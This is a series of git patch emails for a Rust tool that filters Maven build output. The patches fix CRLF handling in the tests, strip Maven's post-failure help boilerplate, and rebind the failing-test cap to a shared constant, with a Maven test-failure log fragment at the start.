org.junit.jupiter.api.AssertEquals.failNotEqual(AssertEquals.java:197) + at org.junit.jupiter.api.AssertEquals.assertEquals(AssertEquals.java:150) + at org.junit.jupiter.api.Assertions.assertEquals(Assertions.java:563) + at com.example.rtk.CalcTest.failOne(CalcTest.java:12) + at java.base/java.lang.reflect.Method.invoke(Method.java:580) + at java.base/java.util.ArrayList.forEach(ArrayList.java:1596) + at java.base/java.util.ArrayList.forEach(ArrayList.java:1596) + +[ERROR] com.example.rtk.CalcTest.failTwo -- Time elapsed: 0.006 s <<< ERROR! +java.lang.IllegalStateException: failTwo: induced error for fixture capture + at com.example.rtk.CalcTest.failTwo(CalcTest.java:17) + at java.base/java.lang.reflect.Method.invoke(Method.java:580) + at java.base/java.util.ArrayList.forEach(ArrayList.java:1596) + at java.base/java.util.ArrayList.forEach(ArrayList.java:1596) + +[INFO] Running com.example.rtk.BoomTest +[ERROR] Tests run: 1, Failures: 0, Errors: 1, Skipped: 0, Time elapsed: 0.006 s <<< FAILURE! -- in com.example.rtk.BoomTest +[ERROR] com.example.rtk.BoomTest.boom -- Time elapsed: 0.004 s <<< ERROR! +java.lang.IllegalStateException: boom: errors-only class for fixture capture + at com.example.rtk.BoomTest.boom(BoomTest.java:8) + at java.base/java.lang.reflect.Method.invoke(Method.java:580) + at java.base/java.util.ArrayList.forEach(ArrayList.java:1596) + at java.base/java.util.ArrayList.forEach(ArrayList.java:1596) + +[INFO] +[INFO] Results: +[INFO] +[ERROR] Failures: +[ERROR] CalcTest.failOne:12 failOne: addition should equal five ==> expected: <5> but was: <4> +[ERROR] Errors: +[ERROR] BoomTest.boom:8 IllegalState boom: errors-only class for fixture capture +[ERROR] CalcTest.failTwo:17 IllegalState failTwo: induced error for fixture capture +[INFO] +[ERROR] Tests run: 4, Failures: 1, Errors: 2, Skipped: 0 +[INFO] +[INFO] ------------------------------------------------------------------------ +[INFO] BUILD FAILURE +[INFO] ------------------------------------------------------------------------ +[INFO] Total time: 3.171 s +[INFO] Finished at: 2026-06-06T10:53:18-03:00 +[INFO] ------------------------------------------------------------------------ +[ERROR] Failed to execute goal org.apache.maven.plugins:maven-surefire-plugin:3.5.5:test (default-test) on project multifail-skeleton: There are test failures. +[ERROR] +[ERROR] See /home/vcyber/projetos/rtk/tests/fixtures/multifail-skeleton/target/surefire-reports for the individual test results. +[ERROR] See dump files (if any exist) [date].dump, [date]-jvmRun[N].dump and [date].dumpstream. +[ERROR] -> [Help 1] +[ERROR] +[ERROR] To see the full stack trace of the errors, re-run Maven with the -e switch. +[ERROR] Re-run Maven using the -X switch to enable full debug logging. +[ERROR] +[ERROR] For more information about the errors and possible solutions, please read the following articles: +[ERROR] [Help 1] http://cwiki.apache.org/confluence/display/MAVEN/MojoFailureException From be28a511797fb5214ff0784f57f491d2b7dd0e71 Mon Sep 17 00:00:00 2001 From: Vinicius Dufloth Date: Sat, 6 Jun 2026 11:07:46 -0300 Subject: [PATCH 198/257] fix(ci): pin fixture line endings, harden CRLF tests MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit test (windows-latest) failed on the two CRLF tests: with no .gitattributes, the Windows runner's core.autocrlf=true checks fixtures out with CRLF, include_str! embeds \r\n, and the tests' replace('\n', "\r\n") synthesis produces \r\r\n. str::lines() strips only the final \r\n of each pair, leaving a stray \r that $-anchored regexes (MODULE_BANNER, BUILD_FOOT) reject — dropping the module banner and BUILD SUCCESS in the CRLF leg only. Real Maven CRLF output (single \r\n) was always handled; only the synthesized double-CR leg broke. Root-cause fix: tests/fixtures/** -text — fixtures are byte-exact filter inputs; eol conversion must never touch them. Defense-in-depth: the two CRLF tests normalize the embedded fixture back to LF before synthesizing, so they stay correct even on checkouts without attributes (zip downloads, pre-existing autocrlf clones). Also fixes the test doc comment, which claimed str::lines() keeps the trailing \r of a \r\n pair — it strips it; the hazard is the doubled \r\r\n, not single CRLF. --- .gitattributes | 4 ++++ src/cmds/jvm/mvn_cmd.rs | 22 ++++++++++++++-------- 2 files changed, 18 insertions(+), 8 deletions(-) create mode 100644 .gitattributes diff --git a/.gitattributes b/.gitattributes new file mode 100644 index 0000000000..fd52a2695b --- /dev/null +++ b/.gitattributes @@ -0,0 +1,4 @@ +# Fixtures are byte-exact filter inputs; eol conversion must never touch them. +# Without this, Windows runners (core.autocrlf=true) check fixtures out with +# CRLF, and tests that synthesize CRLF input from them produce \r\r\n. +tests/fixtures/** -text diff --git a/src/cmds/jvm/mvn_cmd.rs b/src/cmds/jvm/mvn_cmd.rs index 84fbd21232..e4d8d40ef7 100644 --- a/src/cmds/jvm/mvn_cmd.rs +++ b/src/cmds/jvm/mvn_cmd.rs @@ -1517,14 +1517,18 @@ mod tests { // ── CRLF line-ending compatibility ─────────────────────────────────────── - /// `str::lines()` splits on `\n` but keeps any trailing `\r`, so exact - /// equality / `starts_with("…")` checks can silently fail under Windows - /// line endings. Convert an LF fixture to CRLF, filter both, normalise - /// the CRLF output back to LF, and assert byte-equality. + /// `str::lines()` strips single `\r\n` pairs entirely, so real Maven CRLF + /// output filters cleanly. The hazard is a fixture *already checked out + /// with CRLF* (e.g. `core.autocrlf=true` without `.gitattributes`): the + /// `\n` → `\r\n` synthesis below would then produce `\r\r\n`, leaving a + /// stray `\r` per line that `$`-anchored regexes reject. Normalise the + /// embedded fixture back to LF first — correct regardless of checkout + /// state (defense-in-depth alongside `tests/fixtures/** -text`). #[test] fn surefire_handles_crlf_line_endings() { - let i_lf = include_str!("../../../tests/fixtures/mvn_test_pass_slice_raw.txt"); - let o_lf = filter_surefire(i_lf); + let i_lf = include_str!("../../../tests/fixtures/mvn_test_pass_slice_raw.txt") + .replace("\r\n", "\n"); + let o_lf = filter_surefire(&i_lf); let i_crlf = i_lf.replace('\n', "\r\n"); let o_crlf = filter_surefire(&i_crlf); assert_eq!( @@ -1536,8 +1540,9 @@ mod tests { #[test] fn package_handles_crlf_line_endings() { - let i_lf = include_str!("../../../tests/fixtures/mvn_install_slice_raw.txt"); - let o_lf = filter_package(i_lf); + let i_lf = include_str!("../../../tests/fixtures/mvn_install_slice_raw.txt") + .replace("\r\n", "\n"); + let o_lf = filter_package(&i_lf); let i_crlf = i_lf.replace('\n', "\r\n"); let o_crlf = filter_package(&i_crlf); assert_eq!( @@ -2025,3 +2030,4 @@ mod tests { } } + From df76528dd36dba4a58163a4827d34fbb9e7c17ca Mon Sep 17 00:00:00 2001 From: Vinicius Dufloth Date: Sat, 6 Jun 2026 11:12:10 -0300 Subject: [PATCH 199/257] fix(mvn): strip post-failure help boilerplate in non-quiet mode MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit filter_quiet already dropped the help block Maven emits after 'Failed to execute goal' (See ..., -> [Help 1], Re-run Maven, help URLs, bare [ERROR] dividers); the non-quiet paths kept it via the [ERROR] catch-alls — keep_outside_block for test/package and filter_compile's own [ERROR] branch. Promote QUIET_BOILER_PREFIXES to a shared BOILER_PREFIXES (+ is_boilerplate(), which also covers the bare [ERROR] divider lines, matching filter_quiet's existing drop) and reject boilerplate before each [ERROR] catch-all. The list deliberately keeps the resume hint ([ERROR] After correcting the problems... / [ERROR] mvn -rf :module) — actionable signal for resuming a multi-module build — and the Failed to execute goal terminator. keep_continuation hygiene (defensive parity, not a demonstrated bug): filter_surefire only reset the flag inside its kept branch, so a dropped [ERROR] line would leave it stale and a following indented line could be wrongly kept. No committed fixture exhibits the leak; add the same end-of-loop fall-through reset filter_package already has. filter_compile resets on its new boilerplate drop path. Multifail-slice savings rise from 19.9% to 42.3%; threshold pinned at >=30% to match the reactor-fail precedent. README: document the stripping and drop the stale duration-normalisation bullet (that behaviour was removed in 77e28d0). --- src/cmds/jvm/README.md | 2 +- src/cmds/jvm/mvn_cmd.rs | 119 ++++++++++++++++++++++++++++++++-------- 2 files changed, 97 insertions(+), 24 deletions(-) diff --git a/src/cmds/jvm/README.md b/src/cmds/jvm/README.md index b36d7d0eab..5858abbb6c 100644 --- a/src/cmds/jvm/README.md +++ b/src/cmds/jvm/README.md @@ -26,7 +26,7 @@ Key behaviours: - **Surefire block collapse** — Surefire emits `[INFO] Running ` … `[INFO] Tests run: N, Failures: F, Errors: E, …, Time elapsed: T s - in `. The filter buffers each block and emits it only when `F > 0` or `E > 0`. Passing blocks (the bulk of healthy-project output) are dropped silently. Failing blocks are emitted with framework stack frames stripped via a deny-list (`at org.junit.`, `at java.util.`, `at sun.reflect.`, etc.). - **Multi-failure classes (trail re-arm)** — when a single class has several failing tests, Surefire 3.x emits one blank-separated detail block per failing test under a single close line. When a failure trail ends at a blank line, the state machine arms a re-entry: the next per-test subline (`[ERROR] FQN.method -- Time elapsed: … <<< FAILURE!` or `<<< ERROR!`) re-enters the trail with the same keep/drop decision, so every failure message survives (and a capped class drops *all* its blocks). Any other non-blank line disarms the re-entry. - **`<<< ERROR!` markers** — per-test sublines use `<<< ERROR!` for thrown (non-assertion) exceptions; the close-line regex also tolerates an `ERROR!` marker defensively (Surefire 3.5.5 emits `FAILURE!` even for errors-only classes — failure detection keys off the `Failures`/`Errors` counts, not the marker). -- **Duration normalisation** — `Time elapsed: 2.341 s` → `Time elapsed: T s` and `[INFO] Total time: 49.550 s` → `[INFO] Total time: T s` for deterministic test output. +- **Help-boilerplate stripping (all modes)** — the post-failure block Maven emits after `[ERROR] Failed to execute goal` (`See …`, `-> [Help 1]`, `Re-run Maven`, `To see the full stack trace`, `For more information`, help URLs, bare `[ERROR]` dividers) is dropped in quiet *and* non-quiet filters alike (shared `BOILER_PREFIXES`). Deliberately kept as signal: `Failed to execute goal` itself and the multi-module resume hint (`[ERROR] After correcting the problems…` + `[ERROR] mvn -rf :module` — tells the user/agent how to resume the build). Real durations (`Time elapsed: … s`, `Total time: …`) ship untouched — the numbers are diagnostic signal. - **Wrapper detection** — `./mvnw` (POSIX) and `mvnw.cmd` (Windows) detected via string-literal `Command::new` (semgrep-safe); falls back to `resolved_command("mvn")`. - **Reactor Summary preservation** — for multi-module builds, the trailing `Reactor Summary for ` block with per-module SUCCESS/FAILURE rows is kept (toggled by a `[INFO] Reactor Summary for ` header and cleared on `BUILD SUCCESS` / `BUILD FAILURE`). - **Failure cap** — both the count of emitted failing test classes and the size of the `[ERROR] Failures:` summary block are bounded by `limits.mvn_max_failures` (default `25`). Excess emissions are replaced by a single `... +N more failing test classes` / `... +N more failures` tail to keep large failure sets compact. Set the limit to `0` in `config.toml` to opt out of the cap entirely. diff --git a/src/cmds/jvm/mvn_cmd.rs b/src/cmds/jvm/mvn_cmd.rs index e4d8d40ef7..4a0eeb1738 100644 --- a/src/cmds/jvm/mvn_cmd.rs +++ b/src/cmds/jvm/mvn_cmd.rs @@ -121,6 +121,26 @@ fn is_framework_frame(trimmed: &str) -> bool { .any(|p| trimmed.starts_with(p)) } +/// Boilerplate `[ERROR]` lines Maven emits after `Failed to execute goal` — +/// pure noise pointing at log files and help URLs, no signal for the user/LLM. +/// Deliberately excludes `[ERROR] After correcting the problems` and +/// `[ERROR] mvn -rf :…` (the resume hint is actionable signal for a +/// multi-module build) and `[ERROR] Failed to execute goal` (signal). +const BOILER_PREFIXES: &[&str] = &[ + "[ERROR] See ", + "[ERROR] -> [Help", + "[ERROR] To see the full stack trace", + "[ERROR] Re-run Maven", + "[ERROR] For more information", + "[ERROR] [Help", +]; + +/// Post-failure help boilerplate, plus the bare `[ERROR]` divider lines Maven +/// emits between boilerplate blocks (same drop rules as `filter_quiet`). +fn is_boilerplate(line: &str) -> bool { + BOILER_PREFIXES.iter().any(|p| line.starts_with(p)) || line.trim_end() == "[ERROR]" +} + /// `[ERROR] FQN.method -- Time elapsed: 0.030 s <<< FAILURE!` (or `<<< ERROR!`). /// Distinguished from CLOSE by call position: only consulted when /// `in_block == false` (CLOSE only occurs while a block is open). A @@ -166,6 +186,11 @@ fn reactor_summary_keep(line: &str, in_reactor_summary: &mut bool) -> bool { } fn keep_outside_block(line: &str) -> bool { + // Help boilerplate must be rejected before the `[ERROR]` catch-all below + // (non-quiet parity with `filter_quiet`'s boilerplate stripping). + if is_boilerplate(line) { + return false; + } RESULTS.is_match(line) || AGG.is_match(line) || BUILD_FOOT.is_match(line) @@ -566,6 +591,10 @@ fn filter_surefire_with_cap(raw: &str, cap: usize) -> String { && !line.starts_with("[ERROR] Errors:"); continue; } + // Dropped line (e.g. help boilerplate): reset so a stale flag can't + // keep an indented line that follows a dropped `[ERROR]` line. + // Parity with filter_package's fall-through reset. + keep_continuation = false; } block.finish(&mut out); @@ -615,6 +644,12 @@ pub fn filter_compile(raw: &str) -> String { keep_continuation = false; continue; } + // Help boilerplate: drop before the `[ERROR]` catch-all (parity with + // keep_outside_block / filter_quiet). + if is_boilerplate(line) { + keep_continuation = false; + continue; + } if line.starts_with("[ERROR]") { out.push_str(line); out.push('\n'); @@ -742,17 +777,6 @@ fn filter_package_with_cap(raw: &str, cap: usize) -> String { // ── Quiet-mode filter ─────────────────────────────────────────────────────── -/// Boilerplate `[ERROR]` lines Maven emits after `Failed to execute goal` — -/// pure noise pointing at log files and help URLs, no signal for the user/LLM. -const QUIET_BOILER_PREFIXES: &[&str] = &[ - "[ERROR] See ", - "[ERROR] -> [Help", - "[ERROR] To see the full stack trace", - "[ERROR] Re-run Maven", - "[ERROR] For more information", - "[ERROR] [Help", -]; - /// Filter for `mvn -q` invocations. /// /// Under `-q`, Maven 3.x suppresses all `[INFO]` lines, so the standard @@ -824,13 +848,9 @@ pub fn filter_quiet(raw: &str) -> String { continue; } - // Drop post-failure help boilerplate. - if QUIET_BOILER_PREFIXES.iter().any(|p| line.starts_with(p)) { - continue; - } - - // Drop empty `[ERROR]` / `[ERROR] ` divider lines Maven emits between blocks. - if line.trim_end() == "[ERROR]" { + // Drop post-failure help boilerplate and bare `[ERROR]` dividers + // (shared with the non-quiet filters — see BOILER_PREFIXES). + if is_boilerplate(line) { continue; } @@ -1382,21 +1402,57 @@ mod tests { /// Savings on the multifail slice. Threshold is low by design: the slice /// is nearly all kept failure signal (two failing classes, three per-test - /// detail blocks), so the droppable share is small — measured 19.9% at - /// commit time (precedent: reactor-fail pins ≥30% with a "short fixture" - /// note). + /// detail blocks), so the droppable share is small — measured 42.3% after + /// non-quiet boilerplate stripping (19.9% before it; precedent: + /// reactor-fail pins ≥30% with a "short fixture" note). #[test] fn savings_mvn_test_multifail_slice() { let i = include_str!("../../../tests/fixtures/mvn_test_multifail_slice_raw.txt"); let o = filter_surefire(i); let savings = 100.0 - (count_tokens(&o) as f64 / count_tokens(i) as f64 * 100.0); assert!( - savings >= 15.0, - "multifail slice ≥15% savings (dense failure-signal fixture), got {:.1}%", + savings >= 30.0, + "multifail slice ≥30% savings (dense failure-signal fixture), got {:.1}%", savings ); } + /// Non-quiet runs must strip the post-failure help boilerplate + /// (`-> [Help 1]`, `Re-run Maven`, `See …`, bare `[ERROR]` dividers) the + /// same way `filter_quiet` does, while keeping the `Failed to execute + /// goal` terminator (signal). + #[test] + fn surefire_drops_help_boilerplate_in_nonquiet_mode() { + let i = include_str!("../../../tests/fixtures/mvn_test_multifail_slice_raw.txt"); + let o = filter_surefire(i); + assert!( + o.contains("[ERROR] Failed to execute goal"), + "goal terminator kept; got:\n{}", + o + ); + assert!(!o.contains("[Help 1]"), "help link stripped; got:\n{}", o); + assert!( + !o.contains("Re-run Maven"), + "re-run hint stripped; got:\n{}", + o + ); + assert!( + !o.contains("To see the full stack trace"), + "stack-trace hint stripped; got:\n{}", + o + ); + assert!( + !o.contains("See dump files"), + "dump-file pointer stripped; got:\n{}", + o + ); + assert!( + !o.lines().any(|l| l.trim_end() == "[ERROR]"), + "bare [ERROR] dividers stripped; got:\n{}", + o + ); + } + /// CLOSE regex accepts a `<<< ERROR!` marker (defensive — Surefire 3.5.5 /// emits `<<< FAILURE!` even for errors-only classes, per the multifail /// fixture capture; other versions may emit `ERROR!`). @@ -1766,6 +1822,17 @@ mod tests { "goal terminator preserved; got:\n{}", o ); + assert!( + o.contains("mvn -rf :child-b"), + "resume hint preserved (actionable signal); got:\n{}", + o + ); + assert!(!o.contains("[Help 1]"), "help boilerplate stripped; got:\n{}", o); + assert!( + !o.contains("Re-run Maven"), + "re-run hint stripped; got:\n{}", + o + ); let savings = 100.0 - (count_tokens(&o) as f64 / count_tokens(i) as f64 * 100.0); assert!( savings >= 30.0, @@ -1798,6 +1865,11 @@ mod tests { "indented continuation preserved" ); assert!(o.contains("BUILD FAILURE"), "footer preserved"); + assert!( + !o.contains("[Help 1]"), + "help boilerplate stripped in compile path; got:\n{}", + o + ); } #[test] @@ -2031,3 +2103,4 @@ mod tests { } + From 3c0ee949d474df66cfb46538adcf2556b6ad25e2 Mon Sep 17 00:00:00 2001 From: Vinicius Dufloth Date: Sun, 7 Jun 2026 14:35:41 -0300 Subject: [PATCH 200/257] refactor(mvn): bind failure cap to truncate::CAP_WARNINGS, drop config knob Replace the per-filter LimitsConfig::mvn_max_failures field with a local const MAX_MVN_FAILING_CLASSES = CAP_WARNINGS, matching the canonical cap binding used by pytest/rspec/rake/runner. Align cap = 0 semantics with the core policy (summary-only: no blocks emitted, tail still counts) instead of the old opt-out meaning, so the future config surface lands without a special case. --- src/cmds/jvm/README.md | 2 +- src/cmds/jvm/mvn_cmd.rs | 36 +++++++++++++++++++++--------------- src/core/config.rs | 6 ------ 3 files changed, 22 insertions(+), 22 deletions(-) diff --git a/src/cmds/jvm/README.md b/src/cmds/jvm/README.md index 5858abbb6c..9d315bb449 100644 --- a/src/cmds/jvm/README.md +++ b/src/cmds/jvm/README.md @@ -29,7 +29,7 @@ Key behaviours: - **Help-boilerplate stripping (all modes)** — the post-failure block Maven emits after `[ERROR] Failed to execute goal` (`See …`, `-> [Help 1]`, `Re-run Maven`, `To see the full stack trace`, `For more information`, help URLs, bare `[ERROR]` dividers) is dropped in quiet *and* non-quiet filters alike (shared `BOILER_PREFIXES`). Deliberately kept as signal: `Failed to execute goal` itself and the multi-module resume hint (`[ERROR] After correcting the problems…` + `[ERROR] mvn -rf :module` — tells the user/agent how to resume the build). Real durations (`Time elapsed: … s`, `Total time: …`) ship untouched — the numbers are diagnostic signal. - **Wrapper detection** — `./mvnw` (POSIX) and `mvnw.cmd` (Windows) detected via string-literal `Command::new` (semgrep-safe); falls back to `resolved_command("mvn")`. - **Reactor Summary preservation** — for multi-module builds, the trailing `Reactor Summary for ` block with per-module SUCCESS/FAILURE rows is kept (toggled by a `[INFO] Reactor Summary for ` header and cleared on `BUILD SUCCESS` / `BUILD FAILURE`). -- **Failure cap** — both the count of emitted failing test classes and the size of the `[ERROR] Failures:` summary block are bounded by `limits.mvn_max_failures` (default `25`). Excess emissions are replaced by a single `... +N more failing test classes` / `... +N more failures` tail to keep large failure sets compact. Set the limit to `0` in `config.toml` to opt out of the cap entirely. +- **Failure cap** — both the count of emitted failing test classes and the size of the `[ERROR] Failures:` summary block are bounded by `MAX_MVN_FAILING_CLASSES = CAP_WARNINGS` (the shared test-failure cap class from `src/core/truncate.rs`, same binding as pytest/rspec/rake/runner). Excess emissions are replaced by a single `... +N more failing test classes` / `... +N more failures` tail to keep large failure sets compact; the raw output stays recoverable via the tee `[full output: …]` hint. Per the core cap policy, a cap of `0` means summary-only: no blocks emitted, the tail still counts every dropped class. Token-savings tests run inline as part of `cargo test --all` and verify ≥90% savings for `mvn test` and ≥85% for `mvn install` on full synthetic fixtures (gzipped, ~1100 lines each). The `flate2` dependency (already in `Cargo.toml`) decompresses the ~3 KB gzipped fixtures in milliseconds. diff --git a/src/cmds/jvm/mvn_cmd.rs b/src/cmds/jvm/mvn_cmd.rs index 4a0eeb1738..c3ddc05529 100644 --- a/src/cmds/jvm/mvn_cmd.rs +++ b/src/cmds/jvm/mvn_cmd.rs @@ -6,6 +6,7 @@ //! mode toggle) that TOML DSL cannot express. use crate::core::runner::{self, RunOptions}; +use crate::core::truncate::CAP_WARNINGS; use crate::core::utils::{resolved_command, strip_ansi}; use anyhow::Result; use lazy_static::lazy_static; @@ -15,6 +16,10 @@ use std::ffi::OsString; use std::path::Path; use std::process::Command; +/// Cap on emitted failing test-class blocks and `[ERROR] Failures:` summary +/// entries — test-failure cap class, same binding as pytest/rspec/rake/runner. +const MAX_MVN_FAILING_CLASSES: usize = CAP_WARNINGS; + // ── Shared regex patterns ──────────────────────────────────────────────────── lazy_static! { @@ -223,7 +228,7 @@ fn keep_outside_block(line: &str) -> bool { /// - in-block buffering until the next CLOSE line /// - CLOSE with `Failures > 0` or `Errors > 0` → yields /// [`SurefireStep::FailingClose`] so the outer loop can decide whether to -/// emit (Commit D uses this seam to enforce `mvn_max_failures`) +/// emit (this seam enforces [`MAX_MVN_FAILING_CLASSES`]) /// - failure-trail handling for the exception/user-frame trail Surefire 3.x /// emits **after** the close line, terminated by a blank line. Framework /// frames (junit, jdk.proxy, java.base, etc.) are stripped from both the @@ -443,8 +448,8 @@ impl<'a> SurefireBlock<'a> { /// The aggregate `[ERROR] Tests run:` line is matched by `AGG` and kept; the /// `[ERROR] ` entries are kept by the catch-all `[ERROR]` keeper. On builds /// with hundreds of failures this can be quite large. Cap entries at -/// `mvn_max_failures` and emit `\n... +N more failures\n` immediately before -/// the `Tests run:` aggregate when entries were dropped. +/// [`MAX_MVN_FAILING_CLASSES`] and emit `\n... +N more failures\n` immediately +/// before the `Tests run:` aggregate when entries were dropped. struct FailuresSummaryCap { cap: usize, in_summary: bool, @@ -469,7 +474,8 @@ impl FailuresSummaryCap { if !self.in_summary || !line.starts_with("[ERROR] ") { return false; } - if self.cap == 0 || self.emitted < self.cap { + // Per core cap policy, `0` means summary-only: no entries, tail still counts. + if self.emitted < self.cap { out.push_str(line); out.push('\n'); self.emitted += 1; @@ -524,7 +530,7 @@ impl FailuresSummaryCap { /// English-footer guard: if no `BUILD SUCCESS`/`BUILD FAILURE` line is present, /// return the ANSI-stripped raw input (non-English locale or truncated output). pub fn filter_surefire(raw: &str) -> String { - filter_surefire_with_cap(raw, crate::core::config::limits().mvn_max_failures) + filter_surefire_with_cap(raw, MAX_MVN_FAILING_CLASSES) } fn filter_surefire_with_cap(raw: &str, cap: usize) -> String { @@ -549,7 +555,7 @@ fn filter_surefire_with_cap(raw: &str, cap: usize) -> String { lines, close, } => { - if cap == 0 || emitted_failing < cap { + if emitted_failing < cap { block.commit_failing(&mut out, running, &lines, close); emitted_failing += 1; } else { @@ -687,7 +693,7 @@ pub fn filter_compile(raw: &str) -> String { /// Outside any Surefire block, applies the unified keep-list (compile keepers /// + install/artifact lines). pub fn filter_package(raw: &str) -> String { - filter_package_with_cap(raw, crate::core::config::limits().mvn_max_failures) + filter_package_with_cap(raw, MAX_MVN_FAILING_CLASSES) } fn filter_package_with_cap(raw: &str, cap: usize) -> String { @@ -713,7 +719,7 @@ fn filter_package_with_cap(raw: &str, cap: usize) -> String { lines, close, } => { - if cap == 0 || emitted_failing < cap { + if emitted_failing < cap { block.commit_failing(&mut out, running, &lines, close); emitted_failing += 1; } else { @@ -1671,10 +1677,10 @@ mod tests { ); } - /// Cap of 0 means no cap — same fixture but with `cap = 0` should emit - /// all five blocks without any tail. + /// Cap of 0 means summary-only (core cap policy): no failing-class blocks + /// emitted, tail still counts every dropped class. #[test] - fn surefire_cap_zero_disables_capping() { + fn surefire_cap_zero_emits_summary_only() { let mut i = String::from( "[INFO] Scanning for projects...\n\ [INFO] -----< x >-----\n", @@ -1691,15 +1697,15 @@ mod tests { let o = filter_surefire_with_cap(&i, 0); for n in 1..=5 { assert!( - o.contains(&format!("Running x.Fail{}", n)), - "Fail{n} kept under cap=0; got:\n{}", + !o.contains(&format!("Running x.Fail{}", n)), + "Fail{n} dropped under cap=0; got:\n{}", o, n = n ); } assert!( - !o.contains("more failing test classes"), - "no tail under cap=0; got:\n{}", + o.contains("+5 more failing test classes"), + "tail counts all 5 under cap=0; got:\n{}", o ); } diff --git a/src/core/config.rs b/src/core/config.rs index 9bee5d032c..ed0f00c6c9 100644 --- a/src/core/config.rs +++ b/src/core/config.rs @@ -131,11 +131,6 @@ pub struct LimitsConfig { pub status_max_untracked: usize, /// Max chars for parser passthrough fallback (default: 2000) pub passthrough_max_chars: usize, - /// Max failing Surefire test classes (and `[ERROR] Failures:` summary - /// entries) emitted by the Maven filter. Excess emissions are replaced - /// by a `... +N more failing test classes` / `... +N more failures` tail. - /// Set to `0` to opt out of the cap entirely. Default: 25. - pub mvn_max_failures: usize, } impl Default for LimitsConfig { @@ -146,7 +141,6 @@ impl Default for LimitsConfig { status_max_files: 15, status_max_untracked: 10, passthrough_max_chars: 2000, - mvn_max_failures: 25, } } } From f8bc856078dd43bb5780e3372dcda6588247e39b Mon Sep 17 00:00:00 2001 From: Vinicius Dufloth Date: Sun, 7 Jun 2026 14:36:46 -0300 Subject: [PATCH 201/257] =?UTF-8?q?style(mvn):=20align=20overflow=20tail?= =?UTF-8?q?=20with=20canonical=20'=E2=80=A6=20+N=20more=20{label}'=20shape?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Match the join_with_overflow convention (ellipsis char, '+N more' label) used by container, aws, gh and glab so the LLM sees one consistent overflow style. The tee '[full output: …]' recovery hint already comes from core tee_and_hint via RunOptions::with_tee, so capped failure output carries the canonical recovery path unchanged. --- src/cmds/jvm/README.md | 2 +- src/cmds/jvm/mvn_cmd.rs | 22 +++++++++++----------- 2 files changed, 12 insertions(+), 12 deletions(-) diff --git a/src/cmds/jvm/README.md b/src/cmds/jvm/README.md index 9d315bb449..0fe2e0d40b 100644 --- a/src/cmds/jvm/README.md +++ b/src/cmds/jvm/README.md @@ -29,7 +29,7 @@ Key behaviours: - **Help-boilerplate stripping (all modes)** — the post-failure block Maven emits after `[ERROR] Failed to execute goal` (`See …`, `-> [Help 1]`, `Re-run Maven`, `To see the full stack trace`, `For more information`, help URLs, bare `[ERROR]` dividers) is dropped in quiet *and* non-quiet filters alike (shared `BOILER_PREFIXES`). Deliberately kept as signal: `Failed to execute goal` itself and the multi-module resume hint (`[ERROR] After correcting the problems…` + `[ERROR] mvn -rf :module` — tells the user/agent how to resume the build). Real durations (`Time elapsed: … s`, `Total time: …`) ship untouched — the numbers are diagnostic signal. - **Wrapper detection** — `./mvnw` (POSIX) and `mvnw.cmd` (Windows) detected via string-literal `Command::new` (semgrep-safe); falls back to `resolved_command("mvn")`. - **Reactor Summary preservation** — for multi-module builds, the trailing `Reactor Summary for ` block with per-module SUCCESS/FAILURE rows is kept (toggled by a `[INFO] Reactor Summary for ` header and cleared on `BUILD SUCCESS` / `BUILD FAILURE`). -- **Failure cap** — both the count of emitted failing test classes and the size of the `[ERROR] Failures:` summary block are bounded by `MAX_MVN_FAILING_CLASSES = CAP_WARNINGS` (the shared test-failure cap class from `src/core/truncate.rs`, same binding as pytest/rspec/rake/runner). Excess emissions are replaced by a single `... +N more failing test classes` / `... +N more failures` tail to keep large failure sets compact; the raw output stays recoverable via the tee `[full output: …]` hint. Per the core cap policy, a cap of `0` means summary-only: no blocks emitted, the tail still counts every dropped class. +- **Failure cap** — both the count of emitted failing test classes and the size of the `[ERROR] Failures:` summary block are bounded by `MAX_MVN_FAILING_CLASSES = CAP_WARNINGS` (the shared test-failure cap class from `src/core/truncate.rs`, same binding as pytest/rspec/rake/runner). Excess emissions are replaced by a single `… +N more failing test classes` / `… +N more failures` tail (canonical `join_with_overflow` shape) to keep large failure sets compact; the raw output stays recoverable via the tee `[full output: …]` hint. Per the core cap policy, a cap of `0` means summary-only: no blocks emitted, the tail still counts every dropped class. Token-savings tests run inline as part of `cargo test --all` and verify ≥90% savings for `mvn test` and ≥85% for `mvn install` on full synthetic fixtures (gzipped, ~1100 lines each). The `flate2` dependency (already in `Cargo.toml`) decompresses the ~3 KB gzipped fixtures in milliseconds. diff --git a/src/cmds/jvm/mvn_cmd.rs b/src/cmds/jvm/mvn_cmd.rs index c3ddc05529..3ec2c5e08c 100644 --- a/src/cmds/jvm/mvn_cmd.rs +++ b/src/cmds/jvm/mvn_cmd.rs @@ -448,7 +448,7 @@ impl<'a> SurefireBlock<'a> { /// The aggregate `[ERROR] Tests run:` line is matched by `AGG` and kept; the /// `[ERROR] ` entries are kept by the catch-all `[ERROR]` keeper. On builds /// with hundreds of failures this can be quite large. Cap entries at -/// [`MAX_MVN_FAILING_CLASSES`] and emit `\n... +N more failures\n` immediately +/// [`MAX_MVN_FAILING_CLASSES`] and emit `\n… +N more failures\n` immediately /// before the `Tests run:` aggregate when entries were dropped. struct FailuresSummaryCap { cap: usize, @@ -495,7 +495,7 @@ impl FailuresSummaryCap { } } - /// Pre-emit the `... +N more failures` tail when the aggregate + /// Pre-emit the `… +N more failures` tail when the aggregate /// `[ERROR] Tests run:` line is about to be written, then close the /// summary. Caller writes the AGG line itself afterwards. fn handle_aggregate(&mut self, line: &str, out: &mut String) { @@ -503,7 +503,7 @@ impl FailuresSummaryCap { return; } if self.dropped > 0 { - out.push_str(&format!("\n... +{} more failures\n", self.dropped)); + out.push_str(&format!("\n… +{} more failures\n", self.dropped)); } self.in_summary = false; self.emitted = 0; @@ -515,7 +515,7 @@ impl FailuresSummaryCap { /// the resulting filtered output is still well-formed. fn finish(&mut self, out: &mut String) { if self.in_summary && self.dropped > 0 { - out.push_str(&format!("\n... +{} more failures\n", self.dropped)); + out.push_str(&format!("\n… +{} more failures\n", self.dropped)); } } } @@ -607,7 +607,7 @@ fn filter_surefire_with_cap(raw: &str, cap: usize) -> String { summary.finish(&mut out); if dropped_failing > 0 { out.push_str(&format!( - "\n... +{} more failing test classes\n", + "\n… +{} more failing test classes\n", dropped_failing )); } @@ -774,7 +774,7 @@ fn filter_package_with_cap(raw: &str, cap: usize) -> String { 